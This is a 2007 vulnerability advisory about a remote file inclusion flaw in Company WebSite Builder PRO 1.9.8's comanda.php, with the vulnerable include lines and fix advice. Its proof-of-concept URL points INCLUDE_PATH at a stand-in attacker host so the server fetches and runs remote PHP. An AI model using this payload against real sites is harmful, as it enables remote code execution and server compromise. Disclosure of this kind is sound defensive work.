[ECHO_ADV_76$2007] Company WebSite Builder PRO (INCLUDE_PATH) Remote File Inclusion Vulnerability
--------------------------------------------- ----------------------------------------------
Author : Dedi Dwianto a.k.a the_day
Date Found : March, 15th 2007
Location : Indonesia, Jakarta
web : http://advisories.echo.or.id/adv/adv76-theday-2007.txt
Critical Lvl : Highly critical
Impact : System access
Where : From Remote
---------------------------------------------------------------------------
Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~
Application : Company WebSite Builder PRO ( CWB )
version : 1.9.8
URL : http://www.grafxsoftware.com/
This software makes it easy to build an e-commerce site that processes credit cards,
wire transfers. This is a great Content Management System that's easy to install and use WITHOUT having
to FTP upload pages every time they need to be updated.
---------------------------------------------------------------------------
Vulnerability:
~~~~~~~~~
- Invalid include function at comanda.php
-----------------------comanda.php------------
<?
...
include($INCLUDE_LANGUAGE_PATH."$LANG.inc.php");
include($INCLUDE_PATH."connection.php");
include_once($INCLUDE_PATH."connection.php");
include_once($INCLUDE_PATH."cls_produs.php");
include_once($INCLUDE_PATH."cls_left_menu.php");
include_once($INCLUDE_PATH."cls_stire.php");
include_once($INCLUDE_PATH."cls_orders.php");
include_once($INCLUDE_PATH."cls_headline_prod.php");
include_once($INCLUDE_PATH."cls_checkout.php");
include_once("cls_download_products.php");
....
?>
----------------------------------------------------------
Input passed to the "$INCLUDE_PATH" parameter in comanda.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.
Proof Of Concept:
~~~~~~~~~~
http://localhost/cwb/comanda.php?INCLUDE_PATH=http://atacker.com/inject.txt?
Solution:
~~
- Sanitize variable $INCLUDE_PATH affected files.
- Turn off register_globals
